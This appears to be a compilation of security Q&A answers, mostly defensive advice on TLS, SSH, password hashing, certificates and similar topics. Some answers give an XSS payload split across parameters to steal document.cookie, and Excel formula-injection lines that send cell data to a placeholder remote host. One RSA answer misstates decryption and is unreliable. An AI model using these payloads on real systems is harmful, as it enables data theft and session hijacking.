Is it possible to intercept the payload of a secure request in plain text?

Generally, you are using the TLS protocol, and thus initiating a handshake with the server, agreeing upon such as cipher suites and keys to use. This is a secure protocol, as long as you can trust who you are communicating with (e.g. certificate validation).

You ask whether the host computer could intercept something. After the encryption has taken place, I'd say no.

On a side note, the host computer is performing the encryption in an allocated area of memory. If the host is compromised to the extent that you cannot trust the memory protection of that machine, or generally the context of the process, the plaintext can be retrieved prior to encryption. But it's impossible to have zero risk, so this is not necessary something that you need to consider.


The common way to do this is to span the payload across multiple parameters.For example imagine there are three parameter's param1,param2,param3.

param1=<script><then begin comment block>

param2=<end comment block>alert(document.cookie)<start comment block>

param3=<end comment block><script>

So the general idea is to comment out the middle that way you can stretch the payload, whenever there is a (number of character restriction).

Adjust the payload according to the number of allowed characters in the parameter's.


Are document signature services violating any rule by exposing PII over clear email?

A document signing service does not process the data contained within the document it is signing. Theoretically, the signing service is completely unaware of the content. All it does is process the metadata as a whole in order to provide service.

From this perspective, the fact that a certain document contains PII is not within their control, and therefore they have not broken any rules or regulations. It is up to the customer who chose the service, and hence the process, to make sure that the process is appropriate for the data being processed.

As you can guess, there is then a lot of "buck passing" for responsibility, but you should inform the one who chose the service about the impact of their choice.


Is it considered worth it to replace OpenSSH's moduli file?

Exchange/Selection process
Why remove primes shorter than 2000 bits? According to RFC4419, the key exchange starts with the client sending its preferences to the server in the form of 3 numbers:

the minimum acceptable modulus length,
the maximum acceptable length
and the preferred length.

Then the server chooses a random prime that best satisfies this requirement.
In practice (at least with OpenSSH 6.7), the client's minimum and maximum is always 1024 and 8192. The preferred length is 8 times the security level of the symmetric cipher. The server then chooses like this:

it discards the primes outside the min-max range,
then it picks the shortest available length that's not less than the preferred length
finally, it chooses one randomly out of those.

With AES-128, we end up with an 1024 bit modulus which is more like 2^80 effort to break. (It's not linear, you can't just multiply by 8.)
Why regenerate?
Why regenerate the file from scratch? To quote RFC4419:
The use of multiple moduli inhibits a determined attacker from
precalculating moduli exchange values, and discourages dedication of
resources for analysis of any particular modulus.

This has been demonstrated in the Logjam attack.
It is not as effective if everyone uses the same moduli file distributed with the SSH package. For this reason, I generated different moduli files on every host.
Note: modern SSH uses elliptic-curve Diffie-Hellman, which is more secure in theory.
If you want to generate new non elliptic-curve primes do this:
ssh-keygen -G moduli-2048.candidates -b 2048
ssh-keygen -T moduli-2048 -f moduli-2048.candidates

Then replace the contents of your moduli (usually /etc/ssh/moduli) file with the contents of moduli-2048


.sh files are shell scripts. They are analogous to .bat files (cmd scripts) under Windows. All of these (shell scripts, cmd scripts, .exe Windows executables, Linux executables (which usually have no extension)) are executable programs; if you run one, it can do anything you can do. So yes, shell scripts can be harmful. Treat a shell script (or a Perl script, or a Python script, or a Ruby script, etc.) with the same suspicion you would treat any other application.
It's a bit harder to hide malware in a shell script without looking suspicious, because this is a script which can be read by people with knowledge of the scripting language. But it is not much harder; few people, even with the technical knowledge, would bother to review the code, so you could hope to go unnoticed.
As a practical matter, there is less malware for Linux floating around than for Windows. This is probably mainly because Linux has a lot less of a market share than Windows on the desktop, so the payback for writing Linux malware is less. Also, there is a long-ingrained culture of sharing little improvements to the system in the Linux world, more so than in the Windows world; so the balance of probability says that this is someone sharing a little improvement and not malware. But it could be malware posing as a little improvement. In the end, you need to decide whether you can trust the site where you're getting this application, or the people who recommended this site. Favor programs that come from your distribution (i.e. that you can install from the software center), as they have undergone some review.

Now regarding this specific program: I had a quick look, and it looks benign. I didn't see anything that would store your password anywhere without telling you or that would do things on your computer other than what it's advertised to do. Note that I only did a 2-minute review, which any remotely clever malware writer could get past. The program looks reasonably well-written.
I wouldn't necessarily recommend this program unless you feel a pressing need that isn't addressed by packages in the Ubuntu distribution. Ubuntu comes with the seahorse  GUI frontend to GPG (there is also kgpg  for KDE users). You may also want to install seahorse-nautilus  (or seahorse-plugin  in older versions) for Nautilus integration.


If a CORS request doesn't need authentication, why can't I send it without the cookies?

History

The original XMLHttpRequest implementations did not have the concept of "allow credentials" - all requests had credentials attached. Of course, this would be extremely dangerous to allow cross-domain, so XMLHttpRequest was originally allowed same-origin only. When CORS was added, they wanted to minimise changes to reduce the risk of unintended consequences, so keeping the same-origin behaviour for non-CORS sites made sense.

Unexpected authentication

When a request does not have "allow credentials" there is a risk that the browser inadvertently includes credentials. One example the browser can't avoid is network restrictions - such as an Internet site accessing an Intranet site. There may be other examples, such as client certificates. I wouldn't be surprised if some browsers still attach a client cert, even on a non-credentialed request.

Safety first

The above reasons are not that strong. CORS could have been designed to allow non-credentialed requests by default. However, that is the more risky design. When CORS was developed, browser designers were well aware of security issues and chose to implement the less-risky design.


how to design a policy enforcement system, that prevents dictionary attack on forget password flow?

A user selecting the 'Forgot Password' button should only be able to enter a valid user email address and be required to then only interact with the system to reset the password via the link provided in an email to that address.

Furthermore, the link provided needs to have a time-out value assigned to it so it is only valid for perhaps 30min at the most. If an attacker already has compromised a valid users email that is used to login there isn't a lot that could be done and that person would not need to brute-force the login.

But, to stop brute-force logins just put in a limit of failed attempts before the IP address is no longer permitted to attempt a login


As a beginner in IT Security, should I learn TCP/IP?

IT in general, IT security in particular, is an area where you should always learn. When you do not want to learn any further, then it is time to retire. Therefore, you should already be eager to learn TCP/IP, and your question should be: "do I learn TCP/IP first, or is there something more urgent ?"

Knowing the internals of TCP/IP is an invaluable tool for understanding what is going on; it is very enlightening. I warmly recommend that you study it. Similarly, I recommend some knowledge of assembly, possibly electronics. Grasping the internal structure of protocols and languages and architectures allows you to keep track of the ever changing field of IT security with much less effort than simply looking at the surface of things.

(For instance, in my everyday work, knowing how SSL works turns out to be extremely useful, on a daily basis.)


Metasploit Wifi Modules Asking for lorcon2

If the first link is unable to work for any reason, an alternative solution might be found here as well:
BackTrack Forums
Cheers,


TLS socket wrapper server/forwarding agent?

You may want to have a look at stunnel, that provides SSL-powered tunnels. Depending how you configure it, it may provide what you look for.

Take care that you do encryption because of possible attackers, and attackers can become active, i.e. try to alter data in transit or masquerade as a genuine server or client. If there is no client authentication then the server cannot be sure of who it is talking to. If you configure stunnel on the server side to use a self-signed certificate, and you setup clients so that they accept whatever certificate the server sends, then your clients may be made to talk to a fake server, and this can end with a nasty Man-in-the-Middle.

So even if you make clients "anonymous" (no client authentication), you will probably still want to authenticate the server, i.e. make the server use a proper certificate that the client validates. (Unless you use the tunnel only to convey a protocol which is itself properly protected, e.g. you do SSH-within-SSL, which is possible but maybe not what you are envisioning.)


Have you taken a look at the Ubertooth project?  It's a hardware platform plus a good bit of code to get you started in Bluetooth analysis.  Also, I found Mike Ryan's Black Hat presentation from last year to be helpful:    (links directly to the pdf)


Apps that require user to install advertised apps in order to get activated

App makers can use ad networks as a valid way to monetize their coding efforts. That, in and of itself, is not an indication of malware. The lack of disclosure of the 2nd install, at best, indicates a lack of integrity on the publisher's part, but again, is not necessarily an indication of malicious intent.

It is unfortunate that they require a secondary install to make that happen, but the original install is not automatically malware.

On the other hand, this type of "bait and switch" scenario is a great set up for delivering malware. If your scans indicate that the secondary install is malware, then you have your answer, and you should be wary.


Downloading a file on my website, with and without a secret. A room for improvement?

A few thoughts:

URLs get logged and remembered all over the place (server and proxy logs, browser history, search crawlers, etc.), so unless the link is very ephemeral (short-lived), you should assume the links will leak and can't be used to provide a lot of security. If you want actual authentication, you should either set a cookie (securely) and reject requests that don't have the expected cookie value, or transmit the secret fields in a POST body, or otherwise keep the secrets out of the URL.
Obviously, the user ID and secret need to be unguessable. That means they need to be long, and securely random. As a general rule, aim for at least 128 bits of entropy; this is more than you strictly need, but it's cheap and may offer some protection against weaknesses elsewhere (though it also may not).
I'm actually not sure why you're bothering with a user ID, here; unless the user ID is a reusable identifier that the user gets value out of having remain constant, you may as well just use the secrets.
The file ID, rather than file name, implies that you're not actually having anything the user provides be directly used to build a path into your file system. This is good and right and proper. Do not, if you can help it, provide a way for users to ever specify the names of files directly, as that risks the users gaining access to files you didn't mean them to access.
You might want to create a time limit, usage limit, or revocation system for your secret links. Otherwise, once a link is generated, it will stay valid forever even if you want it to stop working (or the user wants it to stop working, for example because it links to something sensitive/private to the user but somebody got their hands on the link).
If you have to manually process payments and generate links, that won't scale. Doing it automatically is entirely possible but requires a lot of work to make the payment handling and verification secure.
Make sure you're validating the parameters securely. Watch for injection attacks (for example, SQL injection if you're checking against a relational database) and sanitize the fields if you ever reflect them into the page (to prevent cross-site scripting), especially if you use cookies or local storage for anything.
Can users also upload files? If so, you've got a whole mess of stuff to watch out for, everything from preventing users from uploading malicious or illegal content to ensuring that users don't overwrite important files (potentially gaining control over the webserver) or make the server spend a ton of resources trying to process a really expensive file (like a compression bomb).

I'm sure I'd come up with a lot more, but that should be enough to get you started. Security is hard. Trying to make your security system simple doesn't mean it's easy to get it right.


Is there a static way to discover all Http requests made by an Android application?

I found an interesting module for the tool Drozer that meets the needs that I previously had and helped me in my task. So I decided to post an answer here if anyone is interested too.

The modules description:

  Finds URLs with the HTTP or HTTPS schemes by searching the strings
  inside APK files. You can, for instance, use this for finding API
  servers, C&C servers within malicious APKs and checking for presence
  of advertising networks.


Are Windows Hashes Encrypted in Transit?

Yes, in the case of interactive logon and any "windows" network based authentication, your hashes are protected in transit. Neither Kerberos nor NTLM sends a hash, instead the handshake uses various cryptography to prove the user knows the password without ever sending it.  NTLMv1 uses VERY weak cryptography and is easily broken.  NTLMv2 and Kerberos are both very strong for now.  That said, if an attacker can capture the auth packets, they can use brute force to find the password. This is why it is vital to require long and complex passwords. https://markgamache.blogspot.com/2013/01/rehashing-pass-hash.html


What documentation can I ask a vendor for to show HIPAA compliance

I would ask for exactly what you've suggested you expect to see.   An audit report would be ideal, a compliance policy listing the controls that are in place would be minimally sufficient.

If it's something that you consider to be significantly important to your business, then make it a requirement for them to provide this documentation before you can sign a contract with them.

Additionally, regardless of what the documentation is, I'd want to actually talk to somebody responsible for overseeing and maintaining compliance.   Get them to walk through the documentation they've provided, and answer any questions that you have, and you'll end up with a much better understanding of exactly how much they care about compliance, how much effort they put into it, and how well equipped they are to define, implement and maintain strong controls.  A document can say anything.  The words of the people responsible, however, are where the real story will be told.


My Lantern cloud server has a domain name that looks like typo-squatting, should I be worried?

There are two possibilities in my mind:

Given the fact that you state that the apps font is very little, could it be that roundrobin.getiantern.org is in fact roundrobin.getiantem.org? Notice that the only difference is rn and m at the end of the domain name, and with some fonts it may be difficult to read especially if you have the domain getlatern in mind.

Why am I asking this? The domain roundrobin.getiantem.org is mentioned in the source (line 63).

The second option is found in the same code file on lines 33-43:

final File cfcerts = new File("cloudflare-certs");
final File[] certs = cfcerts.listFiles();
for (final File cert : certs) {
    LOG.info("Loading cert...{}", cert);
    try {
        DEFAULT_HOSTS_TO_CERTS.put(cert.getName(),
                Files.toString(cert, Charsets.UTF_8).trim());
    } catch (IOException e) {
        LOG.error("Could not load cert?", e);
    }
}

What it does is looking in a folder named cloudflare-certs and loading all hosts for the certificates in that folder. It may be that there is a certificate for roundrobin.getiantern.org. But if so you should be carefull in the git repository there is no such certificate.

As far as I could see with a quick view, Latern tries to take an host from a certificate and connects to roundrobin.getiantem.org if this fails.

If none of the two options apply you should perhaps really be worried as someone may try to manipulate your traffic. Or you may accidentally downloaded a malicious package with different servers.


what would happen if someone got their hands on my aws_access_key_id and aws_secret_access_key?

Do not provide your access keys to a third party, even to help find your canonical user ID. By doing this, you might give someone full access to your account.

From amazon documentation.


Client-side password strength policy verification. CVSS3.1? OWASP WSTG?

Yes it can be considered as a vulnerability as all the things done only at the client side are not enforced.
This situation is quite equivalent to not have a mandatory strength of the passwords.
This topic is described in the OWASP Application Security Verification Standard in the "Authentication" category: https://github.com/OWASP/ASVS/blob/master/4.0/en/0x11-V2-Authentication.md#v21-password-security-requirements
This is not a particular flaw (as a CVE with a CVSS score) but a general one (so a CWE).
So you will find details here :

https://cwe.mitre.org/data/definitions/20.html
https://cwe.mitre.org/data/definitions/602.html
https://cwe.mitre.org/data/definitions/521.html

Each article details the above categories of the flaw (in the membership section).
There is no numeric score like CVSS, but you can use the CVSS calculator to estimate it:https://www.first.org/cvss/calculator/3.0.
In your case, a regular user will not try to bypass the password policy at the client side. And if an attacker tries to do it, he can only create a poor secured account for himself.
We can imagine a scenario where the attacker tries to make a victim click a link which change the password for his own account on your website without the client side limitations... but it far simpler to use this link to steal the current password ^^.
So I guess that the CVSS vector is https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N but it is very theoretical.


How does a chosen ciphertext attack work on textbook RSA?

Since you have your n and e, you should get d and your totient. which is ϕ(n).

Here is the example:

Using:  e(d) mod ϕ(n) ≡ 1, you can use an Euclidean algorithm to solve this equation to get d.

How to get the n? Usually you take your two large prime numbers. e.g (p = 7 and q = 11) Your n in this case will be p*q-(7*11 = 77).

How to get ϕ(n)-totient? Usually you take (p-1)*(q-1) = ϕ(n). That is (7-1)*(11-1) = 60, so your totient is 60: ϕ(n) = 60.

Your e must be < n and must not share common factors with  ϕ(n), then e = 17

Then, e(d) mod ϕ(n) ≡ 1-----------> e=17, d=? , ϕ(n) = 60

substitute 17(d) mod 60 ≡ 1 <---- in this case you are looking for d which is 53, because 17*53 mod 60 will give you remainder 1 which satisfies this equation---> e(d) mod ϕ(n) ≡ 1

To decrypt your cipher text use this:
m=c^e mod n
where:
m = plain text
c = cipher text
e = encryption key
n = product of two large prime numbers.


The meta question on whether you trust your bank is not answerable here :-)

However the core question is answerable:

  Is accepting further characters after my password is matched good practice?

If they have a fixed 4 digit passcode, then they will just be truncating at 4 and dropping the rest - which means it won't affect your security at all.

To actually find out whether they are truncating, you'd need to ask the bank.


In order to trust the digital certificate, does immediate CA cert also needs to be in trust store or root CA cert is enough?

You only need to trust the root CA, the intermediate (and other) certificates will be checked if they are signed by a trusted root CA, or a intermediate that is trusted by a root CA. If that root CA is trusted by you, all certificates signed with that will be trusted by you.

For example, when you have a chain [user] → [intermed-1] → [intermed-2] → [root], the verification is like this:
Does [user] have [intermed-1] as its "Issuer"?
Does [user] have a valid signature by [intermed-1]'s key?
Does [intermed-1] have [intermed-2] as its "Issuer"?
Does [intermed-1] have a valid signature by [intermed-2]'s key?
Does [intermed-2] have [root] as its "Issuer"?
Does [intermed-2] have a valid signature by [root]'s key
Since [root] is at the bottom of the chain and has itself as "Issuer", is it marked as trusted?

(snip from this answer)


How do clients extract the public key from a self-signed certificate?

A few major misunderstandings here.
First of all, that book is just wrong. Signing is not a form of encryption, nor verifying a form of decryption. In the specific case of RSA, signing is mathematically the equivalent operation to "encrypt with the private key", but this is more a coincidence than an inherent property of digital signatures. Some digital signature algorithms don't support actual encryption at all! (DSA and ECDSA being the obvious ones.) Conceptually, the two operations (sign vs. encrypt) are used very differently, and practically there are many considerations for an implementer (padding, length, etc.) that apply to one operation but not the other, even for RSA.
Second, signing is never done in a way conceals the original message. This may be another way that book is misleading you: all signing operations, conceptually, take two inputs (a message and a private key) and produce one output (a short-ish string / huge number that is meaningless without the original message). The inputs - including the message - are not modified. Usually the actual operation of signing can only be done on a short piece of data, so the message is cryptographically hashed first (this is usually done automatically by the crypto toolkit when you say "sign M with K"), but some algorithms instead work on the whole message and internally are doing something akin to hashing while also producing the signature. From the user's perspective, this is still "sign M with K", just for a key K used with a different digital signature algorithm.
In any case, the practical output of a signing operation is that now you have two pieces of data - the message M and its signature S - in addition to your private and public key pair. Anybody with M, S, and the public key can verify that S was created from M using the corresponding private key if neither of M or S are modified, so of course you have to distribute M and S unchanged. Note that S is usually much smaller than M, and it is conceptually impossible to extract M from S.
Now, in practice, signing is often (not always!) used with encryption. When encrypting, you do modify M - or at least, you produce C, the ciphertext of M, and keep M secret - and then either the recipient must decrypt C (to get M) before they can verify the signature S, or you sign the encrypted message C rather than signing the plain text M and thus your S is verified against C not against M. Nothing in this paragraph is relevant to certificates, because certificates do not have any encryption!

With those cleared up, hopefully you understand why the question is trivial. A certificate consists of (arguably) four parts: data about the cert (when it was issued, by whom, for how long, for what purposes), data about the subject (who the cert is issued to), the subject's public key, and the issuer's signature of the previous three parts. The first three parts are plain text, and the last - the signature - is meaningless without that plain text.
So, you extract the public key from a self-signed certificate - or any other part, from any certificate - by parsing the certificate structure and reading the relevant part of the certificate (the one that contains the public key). That's it. The act of signing does not, and must not, modify any part of the certificate (except the part where the signature itself is stored).


Why is it unsafe to use a password that exists online?

A major difference between your hypothetical situation and the current situation is that instead of attackers having to brute force every possible configuration possible (your list), they can brute force with a list of every known configuration. Mathematically, if we assume all passwords are a variety of 8 characters with (Uppercase[26] + lowercase[26] + numbers[10] + special characters[26]) possibilities, that gives us a mathematical sum equal to...2.9642774844752946028434172162224e+79 or a lot. A lot more than 750,000,000.

And that's just 8 character passwords. It gets much worse with 9 and so on.

For an attacker, a library of all the known passwords makes it much easier to crack the general populations' password without the computation expense of generating and testing all those possible combinations. Even better, it cracks longer passwords too which is a nice bonus.

So for you to defend yourself best, you are best off hiding in everything that the 750,000,000 doesn't cover because you're that much harder to find. This is why NIST, Troy Hunt, and others recommend keeping your password unique to you as long as you possibly can.


How can we be assure that people with read access to keys, can not also read the ciphertext and vice versa?

Could a person who creates encryption keys and therefore has access to them, copies or otherwise, use them to decrypt messages? Yes, but only if they also have access to the message storage.

Simply store the encrypted messages in a location not accessible to the key creation people. Give the message reading people access to only the keys they need.

Segregation of duties should also include segregation of access.


Can I use a user's password hash as the AES key to make a one time token?

The problem you run into is that if the password hash is all that's needed to generate a valid token, an attacker with a database dump can generate reset tokens for everyone (which sort of defeats the purpose of hashing passwords in the first place). This problem can be solved, but it ends up being a lot more complicated than using random values for reset tokens and storing their hashes in a table.

Important note: I wouldn't implement this myself without more examination, I just came up with this mostly off the top of my head for the fun of it. Give others a chance to point out what I got wrong. Seriously, I already screwed it up once.

What properties does a password reset token need?

Identifies a specific user and is valid for no one else
No longer valid after password is changed
Expires after a time
Secret and very hard to guess
Database dump doesn't give an attacker any existing tokens or allow them to generate tokens at will

Since you want to have reset tokens without having to store them in a database, I would suggest this psuedocode for generation:

token = {
    "user": [username],
    "expiry": [unix timestamp]
}

// Very important!!!
// Password hash should be bcrypt or argon2 with good cost
// Secret application "pepper" is used to salt the key with HKDF, so a database dump won't allow generating reset tokens
key = hkdfsha256(user_password_hash, pepper)

return base64encode(token + hmacsha256(token, key))

And to verify:

data = base64decode(data)
token = data[:-32]
submitted_hmac = data[-32:] // last 32 bytes are hmacsha256
if (token['expiry'] > now()) {
    return false
}
// [retrieve password hash here]
key = hkdfsha256(user_password_hash, pepper)
return hmacsha256(token, key) == submitted_hmac

Examination

The username identifies the user the token is for
Deriving the HMAC key from the password hash means once the password is changed the token is no longer valid
The expiry check prevents an unused token from remaining valid for too long
The password hash and pepper make the HMAC output (and thus the full token) unguessable
Using a pepper to derive the HMAC key prevents an attacker with a database dump from generating tokens for everyone

Pros

No database storage
Validity of token is intrinsically tied to current password
All currently valid tokens can be easily invalidated by changing the pepper

Cons

Somewhat large token size (108 base64 characters given a 15 character username), but it should still be ok for a URL in an email.
Token isn't entirely opaque, users could see the user and expiry info. This doesn't affect the security, but if you want to avoid annoying questions from people that think it's a problem you could encrypt it as well, although this means adding an IV (if you do this you should encrypt before HMAC).
If an attacker gets a database dump and the pepper they can generate tokens at will.
No way to know how many valid tokens exist at a given time, or for which users.

Some thoughts

Using the entire password hash means the salt will be part of the HMAC key, so it should contain a large amount of entropy already even if the password is terrible and the pepper gets exposed. To attack this scheme both the pepper and database would need to be exposed.
If you really want to make the token smaller, you could truncate the HMAC output to 16 bytes, null terminate the username, and do username + 5 byte unix timestamp + 16 byte HMAC. This avoids the 2038 problem with the timestamp, and with a 15 character username is down to 52 base64 characters. I wouldn't recommend doing the 5 byte timestamp though, the 3 extra bytes don't seem worth it.
Since the amount of space you're saving is strictly smaller than the users table you're already storing, I don't think all this is worth it anyway. Maybe if you weren't able to alter the database schema and it didn't already have a way to store a reset token.


How to reset passwords without emailed reset link?

A temporary password is issued and communicated that must be changed upon first log on. This is very common for new employees in a company when they get their first Active Directory account.


How safe are CD's for Air Gapped computers?

It is totally feasible to write appreciable amounts of data in a "covert" fashion under these conditions. What is written on the disc is a filesystem: a sequence of bytes which encodes a number of files and directories. There are two main places where covert data would be hidden:

In the "holes" in the filesystem. In particular, files will use an integral number of sectors (2048 bytes on a CD), so if a file length is not a multiple of 2048 then there is some "padding" at the end, i.e. bytes which the OS will simply ignored as long as it reads the data as files. But reading the CD as a "raw device" will allow access to these bytes. Note that filesystems meant to allow read-write operations (e.g. UDF, as opposed to ISO9660), there are bigger holes which an be used as well.
Beyond the filesystem. A filesystem begins with a header which specifies a number of things about it, in particular its total size. But on the disc, there may be extra bytes afterwards, which are readable by accessing the "raw device", but ignored by the OS for all filesystem-related accesses. You can easily sneak up megabytes of data there.

The two methods above are generic to any storage device with a filesystem, so it applies to USB flash drives as well. There are other methods which depend on the actual device; for instance, on a CD, you can have multiple sessions with multiple tracks in each of them, allowing you to play a lot of sneaky games (and this has been used at times as basic protections against copying).


How can I protect against email tracking services?

It's all in the knowledgebase: https://web.archive.org/web/20140926051535/http://blog.bananatag.com/knowledgebase/how-opens-work/

  We use the same technology as mass-email-marketing companies to track our Opens.  This is achieved by inserting a small image in the message or Tracking Pixel into the message.  When the image is downloaded you get an Open.

As a recipient of such a message who does not wish to be tracked you must either block image fetching from the bananatag servers (assuming they are easily identifiable), block images which look like tracking URLs or are smaller than a certain size, or simply block images altogether.


Same certificate but different private keys on different servers. Does this work?

You can have multiple valid certificates with the same subject but different keys active at the same time. A possible use with SAN certificates would be to use certificates with the same subject but different key for the different hostnames contained in the certificate. You could even use it for the same hostname (i.e. same hostname on multiple IP addresses) but this will be confusing for some certificate verification tools like certificate patrol.


OpenSSH-server: Are there any security implications and/or value of/for 'TCPKeepAlive yes'

There are three primary ways to keep an SSH session alive:

TCPKeepAlive - An empty ACK is periodically sent, preventing the TCP connection from naturally closing due to inactivity. This operates entirely on the TCP-level. It can only be spoofed with an MITM attack or an extremely advanced TCP-hijacking adversary.
ServerAliveInterval - A message is sent periodically from the client to the server using the SSH protocol. The main benefit to using this is that a firewall cannot tell if it is a keepalive or a legitimate message. A TCP keepalive on the other hand may be blocked by a firewall.
ClientAliveInterval - Idem but sent from the server to the client.

Is there any risk to an attacker forcing an SSH connection to stay open? Not really. The ephemeral session key is periodically changed to prevent a long-running SSH session from being a more juicy target. As such, I can't think of any significant reason why sending keepalives through the TCP layer would be considered a security issue. However, there is still no reason to use it. You can safely use either ClientAliveInterval or ServerAliveInterval and disable TCP keepalives.


Push button in Security key used for 2FA/MFA

YubiKey Nano and Somu (the small variant of a Solokey) use a capacitive way to detect that a user touches the device. There is a small area of metal that protrudes out of the plastic casing that nearly vanishes in the USB socket.
The user presence detection is part of FIDO U2F.

In summary, the user will have to touch a button to register, and may also be warned by thebrowser. The relying party can put up screens which will walk the user through these steps.Registration is a very high value operation - it gives an origin a capability to very stronglyverify a user and it needs to be taken very seriously. During authentication (or moregenerally, whenever the online service or website needs to strongly verify the user byrequesting a signature), the user needs to activate the device to demonstrate user presencebefore the signature can happen. From version 1.2 onwards, it is possible to ask a devicefor a signature without user presence. The signature clearly indicates it was made withoutuser presence and will have to treated by the online service or website accordingly

http://fidoalliance.org/specs/fido-u2f-v1.2-ps-20170411/fido-u2f-overview-v1.2-ps-20170411.pdf Chapter 5
Other ways exist that work by unlocking the hardware token through the Operating System by entering a PIN or by verification of biometric criteria such as fingerprints.


Is it actually feasible or useful to use a high number of proxy servers?

There is an unavoidable minimal latency when shooting packets across the whole planet, because the speed of light is an absolute maximum for the transfer of controlled information, according to the Laws of Physics as we know them.

("Controlled" means that I am not talking about so-called quantum teleportation, which works in lab conditions, but does not let you choose the information that you send. Also, even if the laws of physics can be broken in abstracto, it is doubtful that existing routers and, even more so, infected PC, will be so kind as to enact the break for you.)

Thus, the minimal time for a roundtrip between North America (East Coast) and Europe is about 40 ms (20 ms for each direction). In practice, observed roundtrips are close to 120 ms (that's what I personally get, ping time from my home in North America to my server in France), which is bigger but still in the same order of magnitude. Assuming this crude measure to be representative, we may then claim that the latency will be about three times what it would take for light (in a vacuum) to walk the total distance. This leaves us enough juice to do more than two circles around the world (even equatorial circles) and still be at sub-second latencies. One second of latency is not comfortable and you certainly do not want that for any gaming-related activity, but it will be far from timeouting.

This can be compared with Internet access through geostationary satellites: since such a satellite orbits at 36000 km above the Earth, ping time is always bigger than half a second (that's four 36000 km trips for each ping). Such latency can be heard when phoning people in remote places (where there is no transoceanic cable): the extra latency always gives the impression that the guy at the other end is not fully awake. I certainly would not like a satellite-based Internet access for my own usages, but there are people who succeed at it.

As for security, each hop is indeed a good way to cover your tracks, as long as the proxies do not propagate the information. Normal proxies add their own HTTP header line to make it clear from whence the request originally came; an anonymizing proxy will omit that header. When proxies are all over the World, it becomes complex for Law Enforcement Agencies to rewind the whole cascade, because they have to seize each successive proxy and find log entries which point to the next (previous) proxy machine. International police being what it is, competent attackers who do a lot of hops consistently evade legal retaliation (but competence is a rare thing in this World).

Of course, the Hollywood World Map with lights showing the whole path is a pure fantasy; and even if it existed, it would indicate a spectacular failure for the attacker: the whole point of doing many hops is to make it difficult to rebuild the complete sequence of proxies, regardless of whether the rebuilding is for feeding a World Map with blinking lights, or to unleash a police squad on the perpetrator.


When salting and hashing passwords, any advantage to including password length?

The point of a salt is that it is unique, so that an attacker who wants to crack multiple hashes has to do all the work afresh for each hash. If you include a characteristic that is derived from the password, it doesn't help the salt. It doesn't hurt, either, but it doesn't strengthen the salt in any way.

In effect, by taking hash(password+length+salt) instead of hash(password+salt), you're using a different hash function hash2(password+salt) where hash2(x) = hash(x+length(x)). You are effectively inventing your own cryptographic primitive. That in itself is a bad sign. I don't think the result is actually insecure in any way, but I'd still veto it as an unnecessary risk.

hash2 is very marginally slower than hash. Slower is good for a password hash, but there are better ways of making the hash slow — password hashing functions have a tunable parameter to configure the slowness of the hash. Using a variant hash isn't worth the added complexity.

The normal method to generate the salt is to make it random. If you're going to add anything to it, the only point would be to mitigate a bug in the random number generator. If you're going to do that, take something that does not depend on the password, such as the user ID or the time.

Be careful with taking the hash of a concatenation of two strings: it's ambiguous: hash("bob" + "swordfish") = hash("bobsword" + "fish"). Whenever you take the concatenation of some strings and hash them or otherwise use them in a cryptographic protocol, make sure that the strings can be decomposed unambiguously. If there's a byte value that can't occur in either string (null bytes are often suitable), use that as a separator. If there is a bound on the length of the first string (264 is often suitable), prepend the length (itself in a fixed-size encoding, e.g. 8 bytes for a 264 length limit). If you're building complex data structures, use your library's ASN.1 module.

In any case, when you need to store a password hash, you shouldn't think about cryptography. Use your programming environment's bcrypt or PBKDF2 or scrypt library.

For everything you wanted to know about hashing passwords, everything you didn't want to know about hashing passwords, and everything you didn't even know you might know about hashing passwords, read How to securely hash passwords?


You should always set the cookie as HTTPOnly if your cookie contains sensitive information (such as personal info, session related info, session identifier etc.). This prevents JavaScript from accessing this cookie in case of an XSS bug in your website.

As far as Secure flag is concerned, you should set your SECURE cookie attribute if your clients communicate to the server over HTTPS. This prevents the client from sending your cookie over non-HTTPS communication.


How would disabling IPv6 make a server any more secure?

From a firewall perspective it is important to realize that both IPv4 and IPv6 (if enabled) are configured on a system and this is not always the case.

In my experience, I have been able to bypass (internal) firewalls. In one scenario, on a Linux machine, iptables was configured however, ip6tables was not, which exposed (vulnerable) services that were not available over IPv4.

Since most services bind to 0.0.0.0 and [::]:[port] (every interface), these services are also available over IPv6.

So, yes it is important to consider disabling IPv6 if you do not use it. If you do use it, you or administrators in general should be made aware that (at least on Linux servers) extra firewall configuration is required.

And before you start that administrators should be aware of this, you are totally correct. However, from experience there is lacking a lot of IPv6 knowledge among system administrators.


Exfiltrate data by injecting functions in Excel 2007 file rendered with PHP

After a few trials and errors, I have manage to extract data but also I find the following article one of the most comprehensive reaource for data exfiltration using excel formula:

https://www.notsosecure.com/data-exfiltration-formula-injection/

CONCATENATE: Appends strings to one another.

=CONCATENATE(A2:E2)

IMPORTXML: Imports data from various structured data types including XML, HTML, CSV, TSV, and RSS and ATOM XML feeds.

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED: Imports a RSS or ATOM feed.

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML: Imports data from a table or list within an HTML page.

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE: Imports a range of cells from a specified spreadsheet.

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

IMAGE: Inserts an image into a cell.

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")


It's faster and easier for the vast majority of users to just use sha1sum or md5sum than to import the GPG key and check it.
And if an attacker could change the hashes on the official site, the same attacker would be able to change the keys there too.


Securing my network: unmasking spoofed mac possible?

In some cases, you may be able to detect if a MAC address has been spoofed (see below), but it is not possible to detect the original value only by analyzing traffic captures. That is because the network card simply sends another value than the one which it is programmed to send. The original value will never be found in the packet content, if another value is in use.

By analyzing a MAC address, you can check if the OUI corresponds to the ones used in your organization or if it doesn't correspond to any known OUI (e.g. 12:34:56:67:89:10). Of course, it is trivial to set a valid MAC address, thus making detection impossible.
aa

Image source: Wikipedia


Files can have any extension and its contents aren't affected. A jpeg can have a .txt extension and still be an image file. Sometimes when files are backed up by programs they simply add a string to the end of the file name. So settings.reg becomes settings.reg.backup  when they are edited.

ntuser.dat are unique settings you have selected for your windows user.
Every time you create a new user or change the user name one of these files are created.  This file remains for the old account. You can delete the accounts that you no longer use but make sure you only delete the one not in use or needed.


What can my university see if they have my MAC address?

